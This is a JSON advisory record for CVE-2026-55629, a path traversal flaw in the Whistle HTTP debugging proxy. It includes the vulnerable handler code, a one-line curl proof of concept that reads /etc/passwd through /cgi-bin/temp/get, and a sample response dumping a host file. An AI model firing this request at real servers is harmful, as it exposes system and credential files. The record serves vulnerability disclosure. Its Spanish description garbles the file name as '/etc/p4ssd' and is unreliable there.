{"id":"CVE-2026-55629","aliases":["CVE-2026-55629","GHSA-3vfr-4gwf-qxfp"],"related":[],"kind":"vulnerability","state":"published","title":"Whistle: Path traversal","summary":"Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.","source":"cvelist"},{"lang":"en","text":"This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get('/cgi-bin/temp/get', ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Whistle es un proxy de depuración HTTP, HTTP2, HTTPS y WebSocket. Antes de la versión 2.10.3, lib/service/service.js maneja GET /cgi-bin/temp/get leyendo req.query.filename, uniéndolo a TEMP_FILES_PATH solo cuando coincide con el patrón de archivo temporal, y de lo contrario, pasando el nombre de archivo proporcionado por el usuario directamente a getFile, permitiendo a un atacante remoto leer archivos arbitrarios como /etc/p4ssd. Este problema se informa como solucionado en la versión 2.10.3.","source":"nvd"}],"published":"2026-07-16T19:12:56.106Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 2.10.3","status":"affected"}],"vendor":"avwo","product":"whistle","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.10.3"}],"ecosystem":"npm","package":"whistle","purl":"pkg:npm/whistle","source":"ghsa"}],"references":[{"url":"https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"http://github.com/avwo/whistle/releases/tag/v2.10.3","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55629","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/avwo/whistle","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-17T18:12:01.770Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55629","url":"https://www.cve.org/CVERecord?id=CVE-2026-55629","licence":"CVE Terms of Use","modified":"2026-07-17T18:12:13.546Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3vfr-4gwf-qxfp","url":"https://github.com/advisories/GHSA-3vfr-4gwf-qxfp","licence":"CC-BY-4.0","modified":"2026-08-26T00:54:29.262Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55629","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:28.429Z","epss":{"score":0.00554,"percentile":0.47632,"date":"2026-12-01T12:00:22.000Z"}}